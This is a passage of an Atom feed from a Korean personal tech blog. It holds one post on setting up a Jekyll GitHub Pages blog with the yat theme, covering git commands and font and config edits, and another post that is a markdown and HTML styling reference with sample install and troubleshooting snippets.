<p>성공적으로 push를 하고나면 다음 링크에서 제공하는 Live Demo와 같은 화면을 볼 수 있다.</p>

<p>여기서부터는 각 컴포넌트가 어디에 위치했는지 확인하고 수정하는게 전부이다.</p>

<p>🧷 [Live Demo] <a href="https://jeffreytse.github.io/jekyll-theme-yat/">https://jeffreytse.github.io/jekyll-theme-yat/</a></p>

<p>다음은 내가 수행한 몇가지 커스텀이다.</p>

<ol>
  <li>
    <p>en, kr, jp 폰트 프리텐다드로 통일 / 각 post의 헤드라이너만 Pretendard Extrabold로 수정</p>

    <p><code class="language-plaintext highlighter-rouge">_includes/head.html</code> 파일 수정:</p>

    <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-&lt;link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/typeface-noto-sans@0.0.72/index.min.css"&gt;
</span><span class="gi">+&lt;link rel="stylesheet" as="style" crossorigin href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/static/pretendard.min.css" /&gt;
</span></code></pre></div>    </div>

    <p><code class="language-plaintext highlighter-rouge">_sass/yat.scss</code> 파일 수정:</p>

    <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-$base-font-family: Helvetica Neue, Helvetica, Arial, sans-serif, !default;
</span><span class="gi">+$base-font-family: "Pretendard", -apple-system, BlinkMacSystemFont, system-ui, Roboto, "Helvetica Neue", "Segoe UI", "Apple SD Gothic Neo", "Noto Sans KR", "Malgun Gothic", "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", sans-serif !default;
</span></code></pre></div>    </div>

    <p>/home/user/cityofwonder.github.io/_config.yml, 172 line~</p>

    <p>주석 풀고 heading_style, subheading_style을 주면 된다.</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code> banner:
   video: null             # Video banner source
   loop: true              # Video loop
   volume: 0               # Video volume (100% is 1.0)
   start_at: 0             # Video start time
   image: null             # Image banner source
   opacity: 1.0            # Banner opacity (100% is 1.0)
   background: "rgba(0, 0, 0, 0.8)"  # Banner background (Could be a image)
   height: "640px"         # Banner default height
   min_height: null        # Banner minimum height
   heading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800'     # Pretendard ExtraBold for heading
   subheading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800'  # Pretendard ExtraBold for subheading
</code></pre></div>    </div>
  </li>
  <li>
    <p>기존 포스팅 삭제 및 첫번째 포스팅 작성</p>

    <p>로컬에서 아래 실행 후 push 수행 혹은 repo 상에서 직접 지울 수도 있다.</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ..github.io&gt; <span class="nb">rm</span> <span class="nt">-f</span> _posts/<span class="k">*</span>.md _posts/<span class="k">*</span>.markdown
</code></pre></div>    </div>

    <p>첫번째 포스팅을 위한 개괄적인 layout은 다음과 같다.</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">---</span>
 layout: post
 title: <span class="s2">"🚩깃허브 블로그를 시작하며"</span>
 subtitle: <span class="s2">"준비된 사람에게 기회가 온다"</span>
 categories: <span class="o">[</span><span class="s2">"📂/etc"</span><span class="o">]</span>
 tags: <span class="o">[</span>일상]
 banner:
   image: /assets/images/banners/2025-11-16-1.jpg
   opacity: 0.8
   background: <span class="s2">"rgba(0, 0, 0, 0.7)"</span>
 <span class="nt">---</span>
    
 <span class="o">{</span>본문<span class="o">}</span>
    
 <span class="nt">---</span>
    
 <span class="k">**</span>작성일<span class="k">**</span>: 2025년 11월 16일
</code></pre></div>    </div>
  </li>
  <li>
    <p>index 페이지 heading, subheading, banner 수정</p>

    <p>/home/user/cityofwonder.github.io/index.html, line 7</p>

    <p>하이라이트 된 부분을 추가해주면 된다.</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">---</span>
 <span class="c"># Feel free to add content and custom Front Matter to this file.</span>
 <span class="c"># To modify the layout, see https://jekyllrb.com/docs/themes/#overriding-theme-defaults</span>
    
 layout: home
 title: Home
 heading: <span class="s2">"🚩 CityofWonder's blog"</span>
 subheading: <span class="s2">"Computer Science | Pwnable | Reversing | WEB3 | AI"</span>
 banner: <span class="s2">"/assets/images/banners/home.jpg"</span>
 <span class="nt">---</span>
</code></pre></div>    </div>
  </li>
</ol>]]></content><author><name>cityofwonder</name></author><category term="📂/etc" /><category term="blogging" /><category term="how_to" /><summary type="html"><![CDATA[📍 개요 github 블로그를 시작하게 되었다. 기존에 tistory 블로그를 운영했는데, 사용할 수 있는 스킨이 제한적이라 자꾸 커스텀 욕구가 올라와서 github으로 이관하게 되었다. 🧷 [tistory blog]https://0nehundred4ndt3n.tistory.com/ 막상 쓰려고 github blog를 이것저것 만져본지 한달 정도 되어가는 시점에, 한편으론 매번 md 작성하고 push하는 과정이 귀찮기도 해서 아마 tistory와 github 둘 다 적절히 사용하지 않을까 싶다. ㄴ 📍 How to start Github blog in Window 1. ruby, gem 설치 / Jekyll, Bundler 설치 이미 설치된 경우 아래와 같이 확인 가능하다. &gt; ruby --version &gt; gem --version 그렇지 않은 경우 아래 사이트에서 설치마법사를 받아 진행한다. 이 때 중요한 것은, “Add Ruby executables to your PATH” 옵션을 체크해야만 한다. windows 외의 Host PC에서 진행하는 경우, 하기 사이트를 참고한다. 🧷 [ruby 설치마법사] https://rubyinstaller.org/downloads/ 🧷 [ruby 설치 가이드 in Windows, mac, Linux] https://wikidocs.net/275696 64bit 윈도우의 경우 위 파일 설치 다음을 실행해 Jekyll과 Bundler 를 설치한다. 각각 테마 관리(설치), 의존성(플러그인) 관리+로컬테스트 목적이다. &gt; gem install jekyll bundler 2. git repository ({site이름}.gihub.io)생성 / 원하는 테마 선택 + git copy / git push public 옵션을 체크하여 *{site이름}.gihub.io* repository를 생성한다. 그 외 옵션은 크게 중요치 않다.(맘대로) 다음을 실행해 로컬에 git clone을 해준다. clone한 디렉터리(로컬)에서 수정 후→ bundler로 체크한 다음→ 수정사항을 push하면 배포가 되는 식이다. &gt; git clone https://github.com/...github.io 이제 jekyll theme을 고른다. theme 마다 적용 방법이 대동소이 할 수 있으므로, Readme를 적극적으로 참고할 필요가 있다. 해당 블로그는 아래 첨부된 jeffreytse의 테마를 적용했다. 🧷 [jekyll theme] https://github.com/topics/jekyll-theme 🧷 [jeffereytse’s theme] https://github.com/jeffreytse/jekyll-theme-yat 로컬 테스트 단계는 생략하고 바로 copy로 넘어가도록 하겠다. (Powershell 기준) &gt; git clone https://github.com/jeffreytse/jekyll-theme-yat.git yat-full &gt; cd yat-full yat-full&gt; Copy-Item -Recurse -Force * ..\cityofwonder.github.io\ yat-full&gt; cd ..\cityofwonder.github.io ..github.io&gt; Remove-Item -Recurse -Force ..\yat-full ..github.io&gt; Remove-Item -Recurse -Force backup 덧붙여 해당 테마의 경우 about.markdown, about.html이 모두 있어 일부 정리해주었다. (다 마치고 나니 안하는게 나았을 것 같기도 하다) ..github.io&gt; Remove-Item about.markdown ..github.io&gt; Remove-Item index.markdown ..github.io&gt; Remove-Item .jekyll-cache -Recurse -Force ..github.io&gt; Remove-Item _site -Recurse -Force 이렇게 clone한 디렉터리에 변경사항이 쌓이면, git도 알 수 있도록 push해주어야한다. git add . git commit -m "{원하는 커밋 메시지}" git push origin main 2-1. (error) remote 불일치 / branch 불일치 이 때, main, branch, 변경사항 불일치 등의 여러 이유로 에러가 발생할 수 있다. 에러 메시지를 잘 읽고 해결해야한다. 각각 다음과 같다. ⇒ remote 불일치 *PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)&gt; git push origin main remote: Permission to jeffreytse/jekyll-theme-yat.git denied to cityofwonder.* &gt; git remote -v &gt; git remote set-url origin https://github.com/cityofwonder/cityofwonder.github.io.git &gt; git push origin main ⇒ branch 불일치 *PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)&gt; git commit -m "Import yat theme and configure blog" On branch master Your branch is ahead of 'origin/master' by 1 commit. (use "git push" to publish your local commits) nothing to commit, working tree clean* &gt; git branch -M main &gt; git push -u origin main --force 3. Live Demo 확인 / 커스텀 성공적으로 push를 하고나면 다음 링크에서 제공하는 Live Demo와 같은 화면을 볼 수 있다. 여기서부터는 각 컴포넌트가 어디에 위치했는지 확인하고 수정하는게 전부이다. 🧷 [Live Demo] https://jeffreytse.github.io/jekyll-theme-yat/ 다음은 내가 수행한 몇가지 커스텀이다. en, kr, jp 폰트 프리텐다드로 통일 / 각 post의 헤드라이너만 Pretendard Extrabold로 수정 _includes/head.html 파일 수정: -&lt;link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/typeface-noto-sans@0.0.72/index.min.css"&gt; +&lt;link rel="stylesheet" as="style" crossorigin href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/static/pretendard.min.css" /&gt; _sass/yat.scss 파일 수정: -$base-font-family: Helvetica Neue, Helvetica, Arial, sans-serif, !default; +$base-font-family: "Pretendard", -apple-system, BlinkMacSystemFont, system-ui, Roboto, "Helvetica Neue", "Segoe UI", "Apple SD Gothic Neo", "Noto Sans KR", "Malgun Gothic", "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", sans-serif !default; /home/user/cityofwonder.github.io/_config.yml, 172 line~ 주석 풀고 heading_style, subheading_style을 주면 된다. banner: video: null # Video banner source loop: true # Video loop volume: 0 # Video volume (100% is 1.0) start_at: 0 # Video start time image: null # Image banner source opacity: 1.0 # Banner opacity (100% is 1.0) background: "rgba(0, 0, 0, 0.8)" # Banner background (Could be a image) height: "640px" # Banner default height min_height: null # Banner minimum height heading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800' # Pretendard ExtraBold for heading subheading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800' # Pretendard ExtraBold for subheading 기존 포스팅 삭제 및 첫번째 포스팅 작성 로컬에서 아래 실행 후 push 수행 혹은 repo 상에서 직접 지울 수도 있다. ..github.io&gt; rm -f _posts/*.md _posts/*.markdown 첫번째 포스팅을 위한 개괄적인 layout은 다음과 같다. --- layout: post title: "🚩깃허브 블로그를 시작하며" subtitle: "준비된 사람에게 기회가 온다" categories: ["📂/etc"] tags: [일상] banner: image: /assets/images/banners/2025-11-16-1.jpg opacity: 0.8 background: "rgba(0, 0, 0, 0.7)" --- {본문} --- **작성일**: 2025년 11월 16일 index 페이지 heading, subheading, banner 수정 /home/user/cityofwonder.github.io/index.html, line 7 하이라이트 된 부분을 추가해주면 된다. --- # Feel free to add content and custom Front Matter to this file. # To modify the layout, see https://jekyllrb.com/docs/themes/#overriding-theme-defaults layout: home title: Home heading: "🚩 CityofWonder's blog" subheading: "Computer Science | Pwnable | Reversing | WEB3 | AI" banner: "/assets/images/banners/home.jpg" ---]]></summary></entry><entry><title type="html">[etc 01.] 마크다운 스타일링 정리</title><link href="https://cityofwonder.github.io/2025/11/16/Markdown-styling-guide/" rel="alternate" type="text/html" title="[etc 01.] 마크다운 스타일링 정리" /><published>2025-11-16T00:00:00+00:00</published><updated>2025-11-16T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/11/16/Markdown-styling-guide</id><content type="html" xml:base="https://cityofwonder.github.io/2025/11/16/Markdown-styling-guide/"><![CDATA[<h2 id="-개요"><strong>📍 개요</strong></h2>

<p>markdown을 사이트에서 보여주는 형식인 github blog에서는 더 자유로운 스타일링이 가능하다. 나중에 쓸 때 참고해야하니.. 적어둔다</p>

<hr />

<h2 id="️-형광펜-효과"><strong>🖍️ 형광펜 효과</strong></h2>

<p><span class="highlight-yellow">노란색 형광펜</span></p>

<p><span class="highlight-green">초록색 형광펜</span></p>

<p><span class="highlight-blue">파란색 형광펜</span></p>

<p><span class="highlight-pink">분홍색 형광펜</span></p>

<p><span class="highlight-orange">주황색 형광펜</span></p>

<p><span class="highlight-purple">보라색 형광펜</span></p>

<p><strong>사용법:</strong></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-yellow"</span><span class="nt">&gt;</span>노란색 형광펜<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-green"</span><span class="nt">&gt;</span>초록색 형광펜<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-blue"</span><span class="nt">&gt;</span>파란색 형광펜<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-pink"</span><span class="nt">&gt;</span>분홍색 형광펜<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-orange"</span><span class="nt">&gt;</span>주황색 형광펜<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-purple"</span><span class="nt">&gt;</span>보라색 형광펜<span class="nt">&lt;/span&gt;</span>
</code></pre></div></div>

<hr />

<h2 id="-인라인-댓글-hover"><strong>💬 인라인 댓글 (hover)</strong></h2>

<p>본문 중간에 <span class="notion-comment">댓글이 달린 텍스트<span class="comment-bubble"><span class="comment-item">이렇게 마우스를 올리면 댓글이 보입니다. Notion에서 옮겨온 주석 기능이에요.</span></span></span>를 두면, 마우스를 올렸을 때 주석이 나타난다. 문장 끝에 달아도 <span class="notion-comment">자연스럽게 동작<span class="comment-bubble"><span class="comment-item">문장 끝에 단 테스트 댓글입니다.</span></span></span>한다.</p>

<p>리스트 안에서도 동작한다:</p>

<ul>
  <li>첫 번째 항목 — <span class="notion-comment">여기에 주석<span class="comment-bubble"><span class="comment-item">리스트 항목에 단 댓글 테스트.</span></span></span></li>
  <li>두 번째 항목은 일반 텍스트</li>
</ul>

<p><strong>사용법:</strong> (말풍선 안에 형광펜·색상 등 서식 그대로 사용 가능)</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"notion-comment"</span><span class="nt">&gt;</span>대상 텍스트<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"comment-bubble"</span><span class="nt">&gt;&lt;span</span> <span class="na">class=</span><span class="s">"comment-item"</span><span class="nt">&gt;</span>댓글 내용. <span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"highlight-green"</span><span class="nt">&gt;</span>서식<span class="nt">&lt;/span&gt;</span>도 됨<span class="nt">&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;</span>
</code></pre></div></div>
<p>한 줄로 작성할 것(중간에 빈 줄을 넣으면 깨짐). 여러 줄 댓글은 <code class="language-plaintext highlighter-rouge">comment-item</code>을 추가하면 구분선으로 나뉜다.</p>

<hr />

<h2 id="-글자-색상-변경"><strong>🎨 글자 색상 변경</strong></h2>

<p><span class="text-red">빨간색</span> /
<span class="text-blue">파란색</span> /
<span class="text-green">초록색</span> /
<span class="text-orange">주황색</span> /
<span class="text-purple">보라색</span> /
<span class="text-pink">분홍색</span> /
<span class="text-gray">회색</span></p>

<p><strong>사용법:</strong></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-red"</span><span class="nt">&gt;</span>빨간색 텍스트<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-blue"</span><span class="nt">&gt;</span>파란색 텍스트<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-green"</span><span class="nt">&gt;</span>초록색 텍스트<span class="nt">&lt;/span&gt;</span>
</code></pre></div></div>

<h3 id="텍스트-스타일-조합">텍스트 스타일 조합</h3>

<p><span class="text-bold">굵은 글씨</span>,
<span class="text-italic">기울임 글씨</span>,
<span class="text-underline">밑줄 글씨</span>,
<span class="text-red text-bold">빨간색 굵은 글씨</span>,
<span class="highlight-yellow text-blue text-bold">노란 형광펜 + 파란 굵은 글씨</span></p>

<p><strong>사용법:</strong></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-bold"</span><span class="nt">&gt;</span>굵은 글씨<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-italic"</span><span class="nt">&gt;</span>기울임 글씨<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-underline"</span><span class="nt">&gt;</span>밑줄 글씨<span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"text-red text-bold"</span><span class="nt">&gt;</span>빨간색 굵은 글씨<span class="nt">&lt;/span&gt;</span>
</code></pre></div></div>

<hr />

<h2 id="-박스">📦 박스</h2>

<div class="box-note">
💡 <strong>참고</strong><br />
양자 정보 학교 합격 기원
</div>

<div class="box-success">
✅ <strong>성공</strong><br />
학연생 합격 기원
</div>

<div class="box-warning">
⚠️ <strong>경고</strong><br />
이것저것 전부 다 잘되길 기원
</div>

<div class="box-danger">
🚨 <strong>위험</strong><br />
성공적인 기말 기원
</div>

<p><strong>사용법:</strong></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"box-note"</span><span class="nt">&gt;</span>
💡 <span class="nt">&lt;strong&gt;</span>참고<span class="nt">&lt;/strong&gt;&lt;br&gt;</span>
정보 내용
<span class="nt">&lt;/div&gt;</span>

<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"box-success"</span><span class="nt">&gt;</span>
✅ <span class="nt">&lt;strong&gt;</span>성공<span class="nt">&lt;/strong&gt;&lt;br&gt;</span>
성공 메시지
<span class="nt">&lt;/div&gt;</span>

<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"box-warning"</span><span class="nt">&gt;</span>
⚠️ <span class="nt">&lt;strong&gt;</span>경고<span class="nt">&lt;/strong&gt;&lt;br&gt;</span>
경고 메시지
<span class="nt">&lt;/div&gt;</span>

<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"box-danger"</span><span class="nt">&gt;</span>
🚨 <span class="nt">&lt;strong&gt;</span>위험<span class="nt">&lt;/strong&gt;&lt;br&gt;</span>
위험 메시지
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<hr />

<h2 id="-접은글-토글">📂 접은글 (토글)</h2>

<p>긴 내용을 숨기고 필요할 때만 펼쳐볼 수 있음</p>

<details>
<summary>더보기 (기본 예제)</summary>
<div class="toggle-content">

    <p>숨겨진 내용입니다. 클릭하면 펼쳐집니다.</p>

    <p>여러 줄의 내용을 작성할 수 있습니다.</p>

  </div>
</details>

<details>
<summary>코드 예제 보기</summary>
<div class="toggle-content">

    <p>Python 코드 예제:</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">greet</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">인사말을 출력하는 함수</span><span class="sh">"""</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">안녕하세요, </span><span class="si">{</span><span class="n">name</span><span class="si">}</span><span class="s">님!</span><span class="sh">"</span><span class="p">)</span>

<span class="nf">greet</span><span class="p">(</span><span class="sh">"</span><span class="s">개발자</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div>    </div>

    <p>JavaScript 코드 예제:</p>

    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nf">greet</span><span class="p">(</span><span class="nx">name</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="s2">`안녕하세요, </span><span class="p">${</span><span class="nx">name</span><span class="p">}</span><span class="s2">님!`</span><span class="p">);</span>
<span class="p">}</span>

<span class="nf">greet</span><span class="p">(</span><span class="dl">"</span><span class="s2">개발자</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div>    </div>

  </div>
</details>

<details>
<summary>리스트와 함께 사용하기</summary>
<div class="toggle-content">

    <p>접은글 안에 리스트도 넣을 수 있습니다:</p>

    <ul>
      <li>첫 번째 항목</li>
      <li>두 번째 항목
        <ul>
          <li>중첩된 항목 1</li>
          <li>중첩된 항목 2</li>
        </ul>
      </li>
      <li>세 번째 항목</li>
    </ul>

    <p>번호 리스트도 가능합니다:</p>

    <ol>
      <li>준비하기</li>
      <li>실행하기</li>
      <li>완료하기</li>
    </ol>

  </div>
</details>

<details>
<summary>박스 스타일과 조합하기</summary>
<div class="toggle-content">

    <div class="box-note">
💡 접은글 안에 박스 스타일도 넣을 수 있습니다!
</div>

    <p><span class="highlight-yellow">형광펜 효과</span>나 <span class="text-red text-bold">색상 변경</span>도 모두 가능합니다.</p>

  </div>
</details>

<p><strong>사용법:</strong></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;details&gt;</span>
<span class="nt">&lt;summary&gt;</span>제목<span class="nt">&lt;/summary&gt;</span>
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"toggle-content"</span> <span class="na">markdown=</span><span class="s">"1"</span><span class="nt">&gt;</span>

숨겨진 내용

<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/details&gt;</span>
</code></pre></div></div>

<p>기본적으로 펼쳐진 상태로 시작하려면:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;details</span> <span class="na">open</span><span class="nt">&gt;</span>
<span class="nt">&lt;summary&gt;</span>제목<span class="nt">&lt;/summary&gt;</span>
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"toggle-content"</span> <span class="na">markdown=</span><span class="s">"1"</span><span class="nt">&gt;</span>

처음부터 펼쳐진 내용

<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/details&gt;</span>
</code></pre></div></div>

<div class="box-warning">
⚠️ <strong>중요!</strong><br />
<code>markdown="1"</code> 속성과 빈 줄이 필수. 없으면 마크다운 문법(코드블록, 리스트 등)이 작동하지 않게 됨
</div>

<hr />

<h2 id="-활용-예시">🎯 활용 예시</h2>

<p>조합하면 이런 느낌..</p>

<details>
<summary>프로젝트 설치 가이드</summary>
<div class="toggle-content">

    <div class="box-note">
💡 <strong>시작하기 전에</strong><br />
Node.js 14 이상이 설치되어 있어야 합니다.
</div>
    <h3 id="section">설치 단계</h3>

    <ol>
      <li><span class="highlight-yellow">저장소 클론</span></li>
    </ol>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/username/project.git
<span class="nb">cd </span>project
</code></pre></div>    </div>

    <ol>
      <li><span class="highlight-green">의존성 설치</span></li>
    </ol>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm <span class="nb">install</span>
</code></pre></div>    </div>

    <ol>
      <li><span class="highlight-blue">개발 서버 실행</span></li>
    </ol>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm run dev
</code></pre></div>    </div>
    <div class="box-success">
✅ <strong>완료!</strong><br />
이제 <code>http://localhost:3000</code>에서 확인할 수 있습니다.
</div>

  </div>
</details>

<details>
<summary>문제 해결 (Troubleshooting)</summary>
<div class="toggle-content">

    <h3 id="section-1">자주 발생하는 문제들</h3>
    <details>
<summary>설치가 실패하는 경우</summary>
<div class="toggle-content">

        <div class="box-danger">
🚨 <code>npm install</code> 실패 시:
</div>

        <ul>
          <li>캐시 삭제: <code class="language-plaintext highlighter-rouge">npm cache clean --force</code></li>
          <li>node_modules 삭제 후 재설치</li>
          <li><span class="text-orange">npm 버전 확인</span>: <code class="language-plaintext highlighter-rouge">npm --version</code></li>
        </ul>

      </div>
</details>

    <details>
<summary>포트 충돌이 발생하는 경우</summary>
<div class="toggle-content">

        <p>다른 포트를 사용하려면:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">PORT</span><span class="o">=</span>3001 npm run dev
</code></pre></div>        </div>

        <p>또는 <code class="language-plaintext highlighter-rouge">.env</code> 파일에 추가:</p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT=3001
</code></pre></div>        </div>

      </div>
</details>

  </div>
</details>]]></content><author><name>cityofwonder</name></author><category term="📂/etc" /><category term="blogging" /><category term="how_to" /><category term="markdown" /><summary type="html"><![CDATA[📍 개요 markdown을 사이트에서 보여주는 형식인 github blog에서는 더 자유로운 스타일링이 가능하다. 나중에 쓸 때 참고해야하니.. 적어둔다 🖍️ 형광펜 효과 노란색 형광펜 초록색 형광펜 파란색 형광펜 분홍색 형광펜 주황색 형광펜 보라색 형광펜 사용법: &lt;span class="highlight-yellow"&gt;노란색 형광펜&lt;/span&gt; &lt;span class="highlight-green"&gt;초록색 형광펜&lt;/span&gt; &lt;span class="highlight-blue"&gt;파란색 형광펜&lt;/span&gt; &lt;span class="highlight-pink"&gt;분홍색 형광펜&lt;/span&gt; &lt;span class="highlight-orange"&gt;주황색 형광펜&lt;/span&gt; &lt;span class="highlight-purple"&gt;보라색 형광펜&lt;/span&gt; 💬 인라인 댓글 (hover) 본문 중간에 댓글이 달린 텍스트이렇게 마우스를 올리면 댓글이 보입니다. Notion에서 옮겨온 주석 기능이에요.를 두면, 마우스를 올렸을 때 주석이 나타난다. 문장 끝에 달아도 자연스럽게 동작문장 끝에 단 테스트 댓글입니다.한다. 리스트 안에서도 동작한다: 첫 번째 항목 — 여기에 주석리스트 항목에 단 댓글 테스트. 두 번째 항목은 일반 텍스트 사용법: (말풍선 안에 형광펜·색상 등 서식 그대로 사용 가능) &lt;span class="notion-comment"&gt;대상 텍스트&lt;span class="comment-bubble"&gt;&lt;span class="comment-item"&gt;댓글 내용. &lt;span class="highlight-green"&gt;서식&lt;/span&gt;도 됨&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 한 줄로 작성할 것(중간에 빈 줄을 넣으면 깨짐). 여러 줄 댓글은 comment-item을 추가하면 구분선으로 나뉜다. 🎨 글자 색상 변경 빨간색 / 파란색 / 초록색 / 주황색 / 보라색 / 분홍색 / 회색 사용법: &lt;span class="text-red"&gt;빨간색 텍스트&lt;/span&gt; &lt;span class="text-blue"&gt;파란색 텍스트&lt;/span&gt; &lt;span class="text-green"&gt;초록색 텍스트&lt;/span&gt; 텍스트 스타일 조합 굵은 글씨, 기울임 글씨, 밑줄 글씨, 빨간색 굵은 글씨, 노란 형광펜 + 파란 굵은 글씨 사용법: &lt;span class="text-bold"&gt;굵은 글씨&lt;/span&gt; &lt;span class="text-italic"&gt;기울임 글씨&lt;/span&gt; &lt;span class="text-underline"&gt;밑줄 글씨&lt;/span&gt; &lt;span class="text-red text-bold"&gt;빨간색 굵은 글씨&lt;/span&gt; 📦 박스 💡 참고 양자 정보 학교 합격 기원 ✅ 성공 학연생 합격 기원 ⚠️ 경고 이것저것 전부 다 잘되길 기원 🚨 위험 성공적인 기말 기원 사용법: &lt;div class="box-note"&gt; 💡 &lt;strong&gt;참고&lt;/strong&gt;&lt;br&gt; 정보 내용 &lt;/div&gt; &lt;div class="box-success"&gt; ✅ &lt;strong&gt;성공&lt;/strong&gt;&lt;br&gt; 성공 메시지 &lt;/div&gt; &lt;div class="box-warning"&gt; ⚠️ &lt;strong&gt;경고&lt;/strong&gt;&lt;br&gt; 경고 메시지 &lt;/div&gt; &lt;div class="box-danger"&gt; 🚨 &lt;strong&gt;위험&lt;/strong&gt;&lt;br&gt; 위험 메시지 &lt;/div&gt; 📂 접은글 (토글) 긴 내용을 숨기고 필요할 때만 펼쳐볼 수 있음 더보기 (기본 예제) 숨겨진 내용입니다. 클릭하면 펼쳐집니다. 여러 줄의 내용을 작성할 수 있습니다. 코드 예제 보기 Python 코드 예제: def greet(name): """인사말을 출력하는 함수""" print(f"안녕하세요, {name}님!") greet("개발자") JavaScript 코드 예제: function greet(name) { console.log(`안녕하세요, ${name}님!`); } greet("개발자"); 리스트와 함께 사용하기 접은글 안에 리스트도 넣을 수 있습니다: 첫 번째 항목 두 번째 항목 중첩된 항목 1 중첩된 항목 2 세 번째 항목 번호 리스트도 가능합니다: 준비하기 실행하기 완료하기 박스 스타일과 조합하기 💡 접은글 안에 박스 스타일도 넣을 수 있습니다! 형광펜 효과나 색상 변경도 모두 가능합니다. 사용법: &lt;details&gt; &lt;summary&gt;제목&lt;/summary&gt; &lt;div class="toggle-content" markdown="1"&gt; 숨겨진 내용 &lt;/div&gt; &lt;/details&gt; 기본적으로 펼쳐진 상태로 시작하려면: &lt;details open&gt; &lt;summary&gt;제목&lt;/summary&gt; &lt;div class="toggle-content" markdown="1"&gt; 처음부터 펼쳐진 내용 &lt;/div&gt; &lt;/details&gt; ⚠️ 중요! markdown="1" 속성과 빈 줄이 필수. 없으면 마크다운 문법(코드블록, 리스트 등)이 작동하지 않게 됨 🎯 활용 예시 조합하면 이런 느낌.. 프로젝트 설치 가이드 💡 시작하기 전에 Node.js 14 이상이 설치되어 있어야 합니다. 설치 단계 저장소 클론 git clone https://github.com/username/project.git cd project 의존성 설치 npm install 개발 서버 실행 npm run dev ✅ 완료! 이제 http://localhost:3000에서 확인할 수 있습니다. 문제 해결 (Troubleshooting) 자주 발생하는 문제들 설치가 실패하는 경우 🚨 npm install 실패 시: 캐시 삭제: npm cache clean --force node_modules 삭제 후 재설치 npm 버전 확인: npm --version 포트 충돌이 발생하는 경우 다른 포트를 사용하려면: PORT=3001 npm run dev 또는 .env 파일에 추가: PORT=3001]]></summary></entry></feed>